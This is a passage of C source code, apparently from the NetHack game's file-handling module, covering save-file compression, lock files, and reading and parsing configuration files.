(inword) { *opt = '\0'; inword = FALSE; } } else if (!inword) { args[++i] = opt; inword = TRUE; } opt++; } } #endif args[++i] = (char *) 0; #ifdef TTY_GRAPHICS /* If we don't do this and we are right after a y/n question *and* * there is an error message from the compression, the 'y' or 'n' can * end up being displayed after the error message. */ if (istty) mark_synch(); #endif f = fork(); if (f == 0) { /* child */ #ifdef TTY_GRAPHICS /* any error messages from the compression must come out after * the first line, because the more() to let the user read * them will have to clear the first line. This should be * invisible if there are no error messages. */ if (istty) raw_print(""); #endif /* run compressor without privileges, in case other programs * have surprises along the line of gzip once taking filenames * in GZIP. */ /* assume all compressors will compress stdin to stdout * without explicit filenames. this is true of at least * compress and gzip, those mentioned in config.h. */ if (uncomp) { redirect(cfn, RDBMODE, stdin, uncomp); redirect(filename, WRBMODE, stdout, uncomp); } else { redirect(filename, RDBMODE, stdin, uncomp); redirect(cfn, WRBMODE, stdout, uncomp); } (void) setgid(getgid()); (void) setuid(getuid()); (void) execv(args[0], (char *const *) args); perror((char *) 0); (void) fprintf(stderr, "Exec to %scompress %s failed.\n", uncomp ? "un" : "", filename); nh_terminate(EXIT_FAILURE); } else if (f == -1) { perror((char *) 0); pline("Fork to %scompress %s failed.", uncomp ? "un" : "", filename); return; } #ifndef NO_SIGNAL (void) signal(SIGINT, SIG_IGN); (void) signal(SIGQUIT, SIG_IGN); (void) wait((int *) &i); (void) signal(SIGINT, (SIG_RET_TYPE) done1); if (wizard) (void) signal(SIGQUIT, SIG_DFL); #else /* I don't think we can really cope with external compression * without signals, so we'll declare that compress failed and * go on. (We could do a better job by forcing off external * compression if there are no signals, but we want this for * testing with FailSafeC */ i = 1; #endif if (i == 0) { /* (un)compress succeeded: remove file left behind */ if (uncomp) (void) unlink(cfn); else (void) unlink(filename); } else { /* (un)compress failed; remove the new, bad file */ if (uncomp) { raw_printf("Unable to uncompress %s", filename); (void) unlink(filename); } else { /* no message needed for compress case; life will go on */ (void) unlink(cfn); } #ifdef TTY_GRAPHICS /* Give them a chance to read any error messages from the * compression--these would go to stdout or stderr and would get * overwritten only in tty mode. It's still ugly, since the * messages are being written on top of the screen, but at least * the user can read them. */ if (istty && iflags.window_inited) { clear_nhwindow(WIN_MESSAGE); more(); /* No way to know if this is feasible */ /* doredraw(); */ } #endif } } #endif /* COMPRESS */ #if defined(COMPRESS) || defined(ZLIB_COMP) #define UNUSED_if_not_COMPRESS /*empty*/ #else #define UNUSED_if_not_COMPRESS UNUSED #endif /* compress file */ void nh_compress(filename) const char *filename UNUSED_if_not_COMPRESS; { #if !defined(COMPRESS) && !defined(ZLIB_COMP) #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif #else docompress_file(filename, FALSE); #endif } /* uncompress file if it exists */ void nh_uncompress(filename) const char *filename UNUSED_if_not_COMPRESS; { #if !defined(COMPRESS) && !defined(ZLIB_COMP) #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif #else docompress_file(filename, TRUE); #endif } #ifdef ZLIB_COMP /* RLC 09 Mar 1999: Support internal ZLIB */ STATIC_OVL boolean make_compressed_name(filename, cfn) const char *filename; char *cfn; { #ifndef SHORT_FILENAMES /* Assume free-form filename with no 8.3 restrictions */ strcpy(cfn, filename); strcat(cfn, COMPRESS_EXTENSION); return TRUE; #else #ifdef SAVE_EXTENSION char *bp = (char *) 0; strcpy(cfn, filename); if ((bp = strstri(cfn, SAVE_EXTENSION))) { strsubst(bp, SAVE_EXTENSION, ".saz"); return TRUE; } else { /* find last occurrence of bon */ bp = eos(cfn); while (bp-- > cfn) { if (strstri(bp, "bon")) { strsubst(bp, "bon", "boz"); return TRUE; } } } #endif /* SAVE_EXTENSION */ return FALSE; #endif /* SHORT_FILENAMES */ } STATIC_OVL void docompress_file(filename, uncomp) const char *filename; boolean uncomp; { gzFile compressedfile; FILE *uncompressedfile; char cfn[256]; char buf[1024]; unsigned len, len2; if (!make_compressed_name(filename, cfn)) return; if (!uncomp) { /* Open the input and output files */ /* Note that gzopen takes "wb" as its mode, even on systems where fopen takes "r" and "w" */ uncompressedfile = fopen(filename, RDBMODE); if (!uncompressedfile) { pline("Error in zlib docompress_file %s", filename); return; } compressedfile = gzopen(cfn, "wb"); if (compressedfile == NULL) { if (errno == 0) { pline("zlib failed to allocate memory"); } else { panic("Error in docompress_file %d", errno); } fclose(uncompressedfile); return; } /* Copy from the uncompressed to the compressed file */ while (1) { len = fread(buf, 1, sizeof(buf), uncompressedfile); if (ferror(uncompressedfile)) { pline("Failure reading uncompressed file"); pline("Can't compress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(cfn); return; } if (len == 0) break; /* End of file */ len2 = gzwrite(compressedfile, buf, len); if (len2 == 0) { pline("Failure writing compressed file"); pline("Can't compress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(cfn); return; } } fclose(uncompressedfile); gzclose(compressedfile); /* Delete the file left behind */ (void) unlink(filename); } else { /* uncomp */ /* Open the input and output files */ /* Note that gzopen takes "rb" as its mode, even on systems where fopen takes "r" and "w" */ compressedfile = gzopen(cfn, "rb"); if (compressedfile == NULL) { if (errno == 0) { pline("zlib failed to allocate memory"); } else if (errno != ENOENT) { panic("Error in zlib docompress_file %s, %d", filename, errno); } return; } uncompressedfile = fopen(filename, WRBMODE); if (!uncompressedfile) { pline("Error in zlib docompress file uncompress %s", filename); gzclose(compressedfile); return; } /* Copy from the compressed to the uncompressed file */ while (1) { len = gzread(compressedfile, buf, sizeof(buf)); if (len == (unsigned) -1) { pline("Failure reading compressed file"); pline("Can't uncompress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(filename); return; } if (len == 0) break; /* End of file */ fwrite(buf, 1, len, uncompressedfile); if (ferror(uncompressedfile)) { pline("Failure writing uncompressed file"); pline("Can't uncompress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(filename); return; } } fclose(uncompressedfile); gzclose(compressedfile); /* Delete the file left behind */ (void) unlink(cfn); } } #endif /* RLC 09 Mar 1999: End ZLIB patch */ /* ---------- END FILE COMPRESSION HANDLING ----------- */ /* ---------- BEGIN FILE LOCKING HANDLING ----------- */ static int nesting = 0; #if defined(NO_FILE_LINKS) || defined(USE_FCNTL) /* implies UNIX */ static int lockfd = -1; /* for lock_file() to pass to unlock_file() */ #endif #ifdef USE_FCNTL struct flock sflock; /* for unlocking, same as above */ #endif #define HUP if (!program_state.done_hup) #ifndef USE_FCNTL STATIC_OVL char * make_lockname(filename, lockname) const char *filename; char *lockname; { #if defined(UNIX) || defined(VMS) || defined(AMIGA) || defined(WIN32) \ || defined(MSDOS) #ifdef NO_FILE_LINKS Strcpy(lockname, LOCKDIR); Strcat(lockname, "/"); Strcat(lockname, filename); #else Strcpy(lockname, filename); #endif #ifdef VMS { char *semi_colon = rindex(lockname, ';'); if (semi_colon) *semi_colon = '\0'; } Strcat(lockname, ".lock;1"); #else Strcat(lockname, "_lock"); #endif return lockname; #else /* !(UNIX || VMS || AMIGA || WIN32 || MSDOS) */ #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif lockname[0] = '\0'; return (char *) 0; #endif } #endif /* !USE_FCNTL */ /* lock a file */ boolean lock_file(filename, whichprefix, retryct) const char *filename; int whichprefix; int retryct; { #if defined(PRAGMA_UNUSED) && !(defined(UNIX) || defined(VMS)) \ && !(defined(AMIGA) || defined(WIN32) || defined(MSDOS)) #pragma unused(retryct) #endif #ifndef USE_FCNTL char locknambuf[BUFSZ]; const char *lockname; #endif nesting++; if (nesting > 1) { impossible("TRIED TO NEST LOCKS"); return TRUE; } #ifndef USE_FCNTL lockname = make_lockname(filename, locknambuf); #ifndef NO_FILE_LINKS /* LOCKDIR should be subsumed by LOCKPREFIX */ lockname = fqname(lockname, LOCKPREFIX, 2); #endif #endif filename = fqname(filename, whichprefix, 0); #ifdef USE_FCNTL lockfd = open(filename, O_RDWR); if (lockfd == -1) { HUP raw_printf("Cannot open file %s. Is NetHack installed correctly?", filename); nesting--; return FALSE; } sflock.l_type = F_WRLCK; sflock.l_whence = SEEK_SET; sflock.l_start = 0; sflock.l_len = 0; #endif #if defined(UNIX) || defined(VMS) #ifdef USE_FCNTL while (fcntl(lockfd, F_SETLK, &sflock) == -1) { #else #ifdef NO_FILE_LINKS while ((lockfd = open(lockname, O_RDWR | O_CREAT | O_EXCL, 0666)) == -1) { #else while (link(filename, lockname) == -1) { #endif #endif #ifdef USE_FCNTL if (retryct--) { HUP raw_printf( "Waiting for release of fcntl lock on %s. (%d retries left.)", filename, retryct); sleep(1); } else { HUP(void) raw_print("I give up. Sorry."); HUP raw_printf("Some other process has an unnatural grip on %s.", filename); nesting--; return FALSE; } #else int errnosv = errno; switch (errnosv) { /* George Barbanis */ case EEXIST: if (retryct--) { HUP raw_printf( "Waiting for access to %s. (%d retries left).", filename, retryct); #if defined(SYSV) || defined(ULTRIX) || defined(VMS) (void) #endif sleep(1); } else { HUP(void) raw_print("I give up. Sorry."); HUP raw_printf("Perhaps there is an old %s around?", lockname); nesting--; return FALSE; } break; case ENOENT: HUP raw_printf("Can't find file %s to lock!", filename); nesting--; return FALSE; case EACCES: HUP raw_printf("No write permission to lock %s!", filename); nesting--; return FALSE; #ifdef VMS /* c__translate(vmsfiles.c) */ case EPERM: /* could be misleading, but usually right */ HUP raw_printf("Can't lock %s due to directory protection.", filename); nesting--; return FALSE; #endif case EROFS: /* take a wild guess at the underlying cause */ HUP perror(lockname); HUP raw_printf("Cannot lock %s.", filename); HUP raw_printf( "(Perhaps you are running NetHack from inside the distribution package?)."); nesting--; return FALSE; default: HUP perror(lockname); HUP raw_printf("Cannot lock %s for unknown reason (%d).", filename, errnosv); nesting--; return FALSE; } #endif /* USE_FCNTL */ } #endif /* UNIX || VMS */ #if (defined(AMIGA) || defined(WIN32) || defined(MSDOS)) \ && !defined(USE_FCNTL) #ifdef AMIGA #define OPENFAILURE(fd) (!fd) lockptr = 0; #else #define OPENFAILURE(fd) (fd < 0) lockptr = -1; #endif while (--retryct && OPENFAILURE(lockptr)) { #if defined(WIN32) && !defined(WIN_CE) lockptr = sopen(lockname, O_RDWR | O_CREAT, SH_DENYRW, S_IWRITE); #else (void) DeleteFile(lockname); /* in case dead process was here first */ #ifdef AMIGA lockptr = Open(lockname, MODE_NEWFILE); #else lockptr = open(lockname, O_RDWR | O_CREAT | O_EXCL, S_IWRITE); #endif #endif if (OPENFAILURE(lockptr)) { raw_printf("Waiting for access to %s. (%d retries left).", filename, retryct); Delay(50); } } if (!retryct) { raw_printf("I give up. Sorry."); nesting--; return FALSE; } #endif /* AMIGA || WIN32 || MSDOS */ return TRUE; } #ifdef VMS /* for unlock_file, use the unlink() routine in vmsunix.c */ #ifdef unlink #undef unlink #endif #define unlink(foo) vms_unlink(foo) #endif /* unlock file, which must be currently locked by lock_file */ void unlock_file(filename) const char *filename; { #ifndef USE_FCNTL char locknambuf[BUFSZ]; const char *lockname; #endif if (nesting == 1) { #ifdef USE_FCNTL sflock.l_type = F_UNLCK; if (lockfd >= 0) { if (fcntl(lockfd, F_SETLK, &sflock) == -1) HUP raw_printf("Can't remove fcntl lock on %s.", filename); (void) close(lockfd), lockfd = -1; } #else lockname = make_lockname(filename, locknambuf); #ifndef NO_FILE_LINKS /* LOCKDIR should be subsumed by LOCKPREFIX */ lockname = fqname(lockname, LOCKPREFIX, 2); #endif #if defined(UNIX) || defined(VMS) if (unlink(lockname) < 0) HUP raw_printf("Can't unlink %s.", lockname); #ifdef NO_FILE_LINKS (void) nhclose(lockfd), lockfd = -1; #endif #endif /* UNIX || VMS */ #if defined(AMIGA) || defined(WIN32) || defined(MSDOS) if (lockptr) Close(lockptr); DeleteFile(lockname); lockptr = 0; #endif /* AMIGA || WIN32 || MSDOS */ #endif /* USE_FCNTL */ } nesting--; } /* ---------- END FILE LOCKING HANDLING ----------- */ /* ---------- BEGIN CONFIG FILE HANDLING ----------- */ const char *default_configfile = #ifdef UNIX ".nethackrc"; #else #if defined(MAC) || defined(__BEOS__) "NetHack Defaults"; #else #if defined(MSDOS) || defined(WIN32) CONFIG_FILE; #else "NetHack.cnf"; #endif #endif #endif /* used for messaging */ char configfile[BUFSZ]; #ifdef MSDOS /* conflict with speed-dial under windows * for XXX.cnf file so support of NetHack.cnf * is for backward compatibility only. * Preferred name (and first tried) is now defaults.nh but * the game will try the old name if there * is no defaults.nh. */ const char *backward_compat_configfile = "nethack.cnf"; #endif /* remember the name of the file we're accessing; if may be used in option reject messages */ STATIC_OVL void set_configfile_name(fname) const char *fname; { (void) strncpy(configfile, fname, sizeof configfile - 1); configfile[sizeof configfile - 1] = '\0'; } #ifndef MFLOPPY #define fopenp fopen #endif STATIC_OVL FILE * fopen_config_file(filename, src) const char *filename; int src; { FILE *fp; #if defined(UNIX) || defined(VMS) char tmp_config[BUFSZ]; char *envp; #endif if (src == SET_IN_SYS) { /* SYSCF_FILE; if we can't open it, caller will bail */ if (filename && *filename) { set_configfile_name(fqname(filename, SYSCONFPREFIX, 0)); fp = fopenp(configfile, "r"); } else fp = (FILE *) 0; return fp; } /* If src != SET_IN_SYS, "filename" is an environment variable, so it * should hang around. If set, it is expected to be a full path name * (if relevant) */ if (filename && *filename) { set_configfile_name(filename); #ifdef UNIX if (access(configfile, 4) == -1) { /* 4 is R_OK on newer systems */ /* nasty sneaky attempt to read file through * NetHack's setuid permissions -- this is the only * place a file name may be wholly under the player's * control (but SYSCF_FILE is not under the player's * control so it's OK). */ raw_printf("Access to %s denied (%d).", configfile, errno); wait_synch(); /* fall through to standard names */ } else #endif if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; #if defined(UNIX) || defined(VMS) } else { /* access() above probably caught most problems for UNIX */ raw_printf("Couldn't open requested config file %s (%d).", configfile, errno); wait_synch(); #endif } } /* fall through to standard names */ #if defined(MICRO) || defined(MAC) || defined(__BEOS__) || defined(WIN32) set_configfile_name(fqname(default_configfile, CONFIGPREFIX, 0)); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; } else if (strcmp(default_configfile, configfile)) { set_configfile_name(default_configfile); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #ifdef MSDOS set_configfile_name(fqname(backward_compat_configfile, CONFIGPREFIX, 0)); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; } else if (strcmp(backward_compat_configfile, configfile)) { set_configfile_name(backward_compat_configfile); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #endif #else /* constructed full path names don't need fqname() */ #ifdef VMS /* no punctuation, so might be a logical name */ set_configfile_name("nethackini"); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; set_configfile_name("sys$login:nethack.ini"); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; envp = nh_getenv("HOME"); if (!envp || !*envp) Strcpy(tmp_config, "NetHack.cnf"); else Sprintf(tmp_config, "%s%s%s", envp, !index(":]>/", envp[strlen(envp) - 1]) ? "/" : "", "NetHack.cnf"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; #else /* should be only UNIX left */ envp = nh_getenv("HOME"); if (!envp) Strcpy(tmp_config, ".nethackrc"); else Sprintf(tmp_config, "%s/%s", envp, ".nethackrc"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; #if defined(__APPLE__) /* UNIX+__APPLE__ => MacOSX */ /* try an alternative */ if (envp) { /* OSX-style configuration settings */ Sprintf(tmp_config, "%s/%s", envp, "Library/Preferences/NetHack Defaults"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; /* may be easier for user to edit if filename has '.txt' suffix */ Sprintf(tmp_config, "%s/%s", envp, "Library/Preferences/NetHack Defaults.txt"); set_configfile_name(tmp_config); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) return fp; } #endif /*__APPLE__*/ if (errno != ENOENT) { const char *details; /* e.g., problems when setuid NetHack can't search home directory restricted to user */ #if defined(NHSTDC) && !defined(NOTSTDC) if ((details = strerror(errno)) == 0) #endif details = ""; raw_printf("Couldn't open default config file %s %s(%d).", configfile, details, errno); wait_synch(); } #endif /* !VMS => Unix */ #endif /* !(MICRO || MAC || __BEOS__ || WIN32) */ return (FILE *) 0; } /* * Retrieve a list of integers from buf into a uchar array. * * NOTE: zeros are inserted unless modlist is TRUE, in which case the list * location is unchanged. Callers must handle zeros if modlist is FALSE. */ STATIC_OVL int get_uchars(bufp, list, modlist, size, name) char *bufp; /* current pointer */ uchar *list; /* return list */ boolean modlist; /* TRUE: list is being modified in place */ int size; /* return list size */ const char *name; /* name of option for error message */ { unsigned int num = 0; int count = 0; boolean havenum = FALSE; while (1) { switch (*bufp) { case ' ': case '\0': case '\t': case '\n': if (havenum) { /* if modifying in place, don't insert zeros */ if (num || !modlist) list[count] = num; count++; num = 0; havenum = FALSE; } if (count == size || !*bufp) return count; bufp++; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': havenum = TRUE; num = num * 10 + (*bufp - '0'); bufp++; break; case '\\': goto gi_error; break; default: gi_error: raw_printf("Syntax error in %s", name); wait_synch(); return count; } } /*NOTREACHED*/ } #ifdef NOCWD_ASSUMPTIONS STATIC_OVL void adjust_prefix(bufp, prefixid) char *bufp; int prefixid; { char *ptr; if (!bufp) return; #ifdef WIN32 if (fqn_prefix_locked[prefixid]) return; #endif /* Backward compatibility, ignore trailing ;n */ if ((ptr = index(bufp, ';')) != 0) *ptr = '\0'; if (strlen(bufp) > 0) { fqn_prefix[prefixid] = (char *) alloc(strlen(bufp) + 2); Strcpy(fqn_prefix[prefixid], bufp); append_slash(fqn_prefix[prefixid]); } } #endif /* Choose at random one of the sep separated parts from str. Mangles str. */ STATIC_OVL char * choose_random_part(str,sep) char *str; char sep; { int nsep = 1; int csep; int len = 0; char *begin = str; if (!str) return (char *) 0; while (*str) { if (*str == sep) nsep++; str++; } csep = rn2(nsep); str = begin; while ((csep > 0) && *str) { str++; if (*str == sep) csep--; } if (*str) { if (*str == sep) str++; begin = str; while (*str && *str != sep) { str++; len++; } *str = '\0'; if (len) return begin; } return (char *) 0; } STATIC_OVL void free_config_sections() { if (config_section_chosen) { free(config_section_chosen); config_section_chosen = NULL; } if (config_section_current) { free(config_section_current); config_section_current = NULL; } } STATIC_OVL boolean is_config_section(str) const char *str; { const char *a = rindex(str, ']'); return (a && *str == '[' && *(a+1) == '\0' && (int)(a - str) > 0); } STATIC_OVL boolean handle_config_section(buf) char *buf; { if (is_config_section(buf)) { char *send; if (config_section_current) { free(config_section_current); } config_section_current = dupstr(&buf[1]); send = rindex(config_section_current, ']'); *send = '\0'; debugpline1("set config section: '%s'", config_section_current); return TRUE; } if (config_section_current) { if (!config_section_chosen) return TRUE; if (strcmp(config_section_current, config_section_chosen)) return TRUE; } return FALSE; } #define match_varname(INP, NAM, LEN) match_optname(INP, NAM, LEN, TRUE) /* find the '=' or ':' */ char * find_optparam(buf) const char *buf; { char *bufp, *altp; bufp = index(buf, '='); altp = index(buf, ':'); if (!bufp || (altp && altp < bufp)) bufp = altp; return bufp; } boolean parse_config_line(origbuf) char *origbuf; { #if defined(MICRO) && !defined(NOCWD_ASSUMPTIONS) static boolean ramdisk_specified = FALSE; #endif #ifdef SYSCF int n, src = iflags.parse_config_file_src; #endif char *bufp, buf[4 * BUFSZ]; uchar translate[MAXPCHARS]; int len; boolean retval = TRUE; while (*origbuf == ' ' || *origbuf == '\t') /* skip leading whitespace */ ++origbuf; /* (caller probably already did this) */ (void) strncpy(buf, origbuf, sizeof buf - 1); buf[sizeof buf - 1] = '\0'; /* strncpy not guaranteed to NUL terminate */ /* convert any tab to space, condense consecutive spaces into one, remove leading and trailing spaces (exception: if there is nothing but spaces, one of them will be kept even though it leads/trails) */ mungspaces(buf); /* find the '=' or ':' */ bufp = find_optparam(buf); if (!bufp) { config_error_add("Not a config statement, missing '='"); return FALSE; } /* skip past '=', then space between it and value, if any */ ++bufp; if (*bufp == ' ') ++bufp; /* Go through possible variables */ /* some of these (at least LEVELS and SAVE) should now set the * appropriate fqn_prefix[] rather than specialized variables */ if (match_varname(buf, "OPTIONS", 4)) { /* hack: un-mungspaces to allow consecutive spaces in general options until we verify that this is unnecessary; '=' or ':' is guaranteed to be present */ bufp = find_optparam(origbuf); ++bufp; /* skip '='; parseoptions() handles spaces */ if (!parseoptions(bufp, TRUE, TRUE)) retval = FALSE; } else if (match_varname(buf, "AUTOPICKUP_EXCEPTION", 5)) { add_autopickup_exception(bufp); } else if (match_varname(buf, "BINDINGS", 4)) { if (!parsebindings(bufp)) retval = FALSE; } else if (match_varname(buf, "AUTOCOMPLETE", 5)) { parseautocomplete(bufp, TRUE); } else if (match_varname(buf, "MSGTYPE", 7)) { if (!msgtype_parse_add(bufp)) retval = FALSE; #ifdef NOCWD_ASSUMPTIONS } else if (match_varname(buf, "HACKDIR", 4)) { adjust_prefix(bufp, HACKPREFIX); } else if (match_varname(buf, "LEVELDIR", 4) || match_varname(buf, "LEVELS", 4)) { adjust_prefix(bufp, LEVELPREFIX); } else if (match_varname(buf, "SAVEDIR", 4)) { adjust_prefix(bufp, SAVEPREFIX); } else if (match_varname(buf, "BONESDIR", 5)) { adjust_prefix(bufp, BONESPREFIX); } else if (match_varname(buf, "DATADIR", 4)) { adjust_prefix(bufp, DATAPREFIX); } else if (match_varname(buf, "SCOREDIR", 4)) { adjust_prefix(bufp, SCOREPREFIX); } else if (match_varname(buf, "LOCKDIR", 4)) { adjust_prefix(bufp, LOCKPREFIX); } else if (match_varname(buf, "CONFIGDIR", 4)) { adjust_prefix(bufp, CONFIGPREFIX); } else if (match_varname(buf, "TROUBLEDIR", 4)) { adjust_prefix(bufp, TROUBLEPREFIX); #else /*NOCWD_ASSUMPTIONS*/ #ifdef MICRO } else if (match_varname(buf, "HACKDIR", 4)) { (void) strncpy(hackdir, bufp, PATHLEN - 1); #ifdef MFLOPPY } else if (match_varname(buf, "RAMDISK", 3)) { /* The following ifdef is NOT in the wrong * place. For now, we accept and silently * ignore RAMDISK */ #ifndef AMIGA if (strlen(bufp) >= PATHLEN) bufp[PATHLEN - 1] = '\0'; Strcpy(levels, bufp); ramdisk = (strcmp(permbones, levels) != 0); ramdisk_specified = TRUE; #endif #endif } else if (match_varname(buf, "LEVELS", 4)) { if (strlen(bufp) >= PATHLEN) bufp[PATHLEN - 1] = '\0'; Strcpy(permbones, bufp); if (!ramdisk_specified || !*levels) Strcpy(levels, bufp); ramdisk = (strcmp(permbones, levels) != 0); } else if (match_varname(buf, "SAVE", 4)) { #ifdef MFLOPPY extern int saveprompt; #endif char *ptr; if ((ptr = index(bufp, ';')) != 0) { *ptr = '\0'; #ifdef MFLOPPY if (*(ptr + 1) == 'n' || *(ptr + 1) == 'N') { saveprompt = FALSE; } #endif } #if defined(SYSFLAGS) && defined(MFLOPPY) else saveprompt = sysflags.asksavedisk; #endif (void) strncpy(SAVEP, bufp, SAVESIZE - 1); append_slash(SAVEP); #endif /* MICRO */ #endif /*NOCWD_ASSUMPTIONS*/ } else if (match_varname(buf, "NAME", 4)) { (void) strncpy(plname, bufp, PL_NSIZ - 1); } else if (match_varname(buf, "ROLE", 4) || match_varname(buf, "CHARACTER", 4)) { if ((len = str2role(bufp)) >= 0) flags.initrole = len; } else if (match_varname(buf, "DOGNAME", 3)) { (void) strncpy(dogname, bufp, PL_PSIZ - 1); } else if (match_varname(buf, "CATNAME", 3)) { (void) strncpy(catname, bufp, PL_PSIZ - 1); #ifdef SYSCF } else if (src == SET_IN_SYS && match_varname(buf, "WIZARDS", 7)) { if (sysopt.wizards) free((genericptr_t) sysopt.wizards); sysopt.wizards = dupstr(bufp); if (strlen(sysopt.wizards) && strcmp(sysopt.wizards, "*")) { /* pre-format WIZARDS list now; it's displayed during a panic and since that panic might be due to running out of memory, we don't want to risk attempting to allocate any memory then */ if (sysopt.fmtd_wizard_list) free((genericptr_t) sysopt.fmtd_wizard_list); sysopt.fmtd_wizard_list = build_english_list(sysopt.wizards); } } else if (src == SET_IN_SYS && match_varname(buf, "SHELLERS", 8)) { if (sysopt.shellers) free((genericptr_t) sysopt.shellers); sysopt.shellers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "EXPLORERS", 7)) { if (sysopt.explorers) free((genericptr_t) sysopt.explorers); sysopt.explorers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "DEBUGFILES", 5)) { /* if showdebug() has already been called (perhaps we've added some debugpline() calls to option processing) and has found a value for getenv("DEBUGFILES"), don't override that */ if (sysopt.env_dbgfl <= 0) { if (sysopt.debugfiles) free((genericptr_t) sysopt.debugfiles); sysopt.debugfiles = dupstr(bufp); } } else if (src == SET_IN_SYS && match_varname(buf, "DUMPLOGFILE", 7)) { #ifdef DUMPLOG if (sysopt.dumplogfile) free((genericptr_t) sysopt.dumplogfile); sysopt.dumplogfile = dupstr(bufp); #endif #ifdef WIN32 } else if (src == SET_IN_SYS && match_varname(buf, "portable_device_top", 8)) { if (sysopt.portable_device_top) free((genericptr_t) sysopt.portable_device_top); sysopt.portable_device_top = dupstr(bufp); #endif } else if (src == SET_IN_SYS && match_varname(buf, "GENERICUSERS", 12)) { if (sysopt.genericusers) free((genericptr_t) sysopt.genericusers); sysopt.genericusers = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "BONES_POOLS", 10)) { /* max value of 10 guarantees (N % bones.pools) will be one digit so we don't lose control of the length of bones file names */ n = atoi(bufp); sysopt.bones_pools = (n <= 0) ? 0 : min(n, 10); /* note: right now bones_pools==0 is the same as bones_pools==1, but we could change that and make bones_pools==0 become an indicator to suppress bones usage altogether */ } else if (src == SET_IN_SYS && match_varname(buf, "SUPPORT", 7)) { if (sysopt.support) free((genericptr_t) sysopt.support); sysopt.support = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "RECOVER", 7)) { if (sysopt.recover) free((genericptr_t) sysopt.recover); sysopt.recover = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "CHECK_SAVE_UID", 14)) { n = atoi(bufp); sysopt.check_save_uid = n; } else if (src == SET_IN_SYS && match_varname(buf, "CHECK_PLNAME", 12)) { n = atoi(bufp); sysopt.check_plname = n; } else if (match_varname(buf, "SEDUCE", 6)) { n = !!atoi(bufp); /* XXX this could be tighter */ /* allow anyone to turn it off, but only sysconf to turn it on*/ if (src != SET_IN_SYS && n != 0) { config_error_add("Illegal value in SEDUCE"); return FALSE; } sysopt.seduce = n; sysopt_seduce_set(sysopt.seduce); } else if (src == SET_IN_SYS && match_varname(buf, "MAXPLAYERS", 10)) { n = atoi(bufp); /* XXX to get more than 25, need to rewrite all lock code */ if (n < 0 || n > 25) { config_error_add("Illegal value in MAXPLAYERS (maximum is 25)."); return FALSE; } sysopt.maxplayers = n; } else if (src == SET_IN_SYS && match_varname(buf, "PERSMAX", 7)) { n = atoi(bufp); if (n < 1) { config_error_add("Illegal value in PERSMAX (minimum is 1)."); return FALSE; } sysopt.persmax = n; } else if (src == SET_IN_SYS && match_varname(buf, "PERS_IS_UID", 11)) { n = atoi(bufp); if (n != 0 && n != 1) { config_error_add("Illegal value in PERS_IS_UID (must be 0 or 1)."); return FALSE; } sysopt.pers_is_uid = n; } else if (src == SET_IN_SYS && match_varname(buf, "ENTRYMAX", 8)) { n = atoi(bufp); if (n < 10) { config_error_add("Illegal value in ENTRYMAX (minimum is 10)."); return FALSE; } sysopt.entrymax = n; } else if ((src == SET_IN_SYS) && match_varname(buf, "POINTSMIN", 9)) { n = atoi(bufp); if (n < 1) { config_error_add("Illegal value in POINTSMIN (minimum is 1)."); return FALSE; } sysopt.pointsmin = n; } else if (src == SET_IN_SYS && match_varname(buf, "MAX_STATUENAME_RANK", 10)) { n = atoi(bufp); if (n < 1) { config_error_add( "Illegal value in MAX_STATUENAME_RANK (minimum is 1)."); return FALSE; } sysopt.tt_oname_maxrank = n; /* SYSCF PANICTRACE options */ } else if (src == SET_IN_SYS && match_varname(buf, "PANICTRACE_LIBC", 15)) { n = atoi(bufp); #if defined(PANICTRACE) && defined(PANICTRACE_LIBC) if (n < 0 || n > 2) { config_error_add("Illegal value in PANICTRACE_LIBC (not 0,1,2)."); return FALSE; } #endif sysopt.panictrace_libc = n; } else if (src == SET_IN_SYS && match_varname(buf, "PANICTRACE_GDB", 14)) { n = atoi(bufp); #if defined(PANICTRACE) if (n < 0 || n > 2) { config_error_add("Illegal value in PANICTRACE_GDB (not 0,1,2)."); return FALSE; } #endif sysopt.panictrace_gdb = n; } else if (src == SET_IN_SYS && match_varname(buf, "GDBPATH", 7)) { #if defined(PANICTRACE) && !defined(VMS) if (!file_exists(bufp)) { config_error_add("File specified in GDBPATH does not exist."); return FALSE; } #endif if (sysopt.gdbpath) free((genericptr_t) sysopt.gdbpath); sysopt.gdbpath = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "GREPPATH", 7)) { #if defined(PANICTRACE) && !defined(VMS) if (!file_exists(bufp)) { config_error_add("File specified in GREPPATH does not exist."); return FALSE; } #endif if (sysopt.greppath) free((genericptr_t) sysopt.greppath); sysopt.greppath = dupstr(bufp); } else if (src == SET_IN_SYS && match_varname(buf, "ACCESSIBILITY", 13)) { n = atoi(bufp); if (n < 0 || n > 1) { config_error_add("Illegal value in ACCESSIBILITY (not 0,1)."); return FALSE; } sysopt.accessibility = n; #endif /* SYSCF */ } else if (match_varname(buf, "BOULDER", 3)) { (void) get_uchars(bufp, &ov_primary_syms[SYM_BOULDER + SYM_OFF_X], TRUE, 1, "BOULDER"); } else if (match_varname(buf, "MENUCOLOR", 9)) { if (!add_menu_coloring(bufp)) 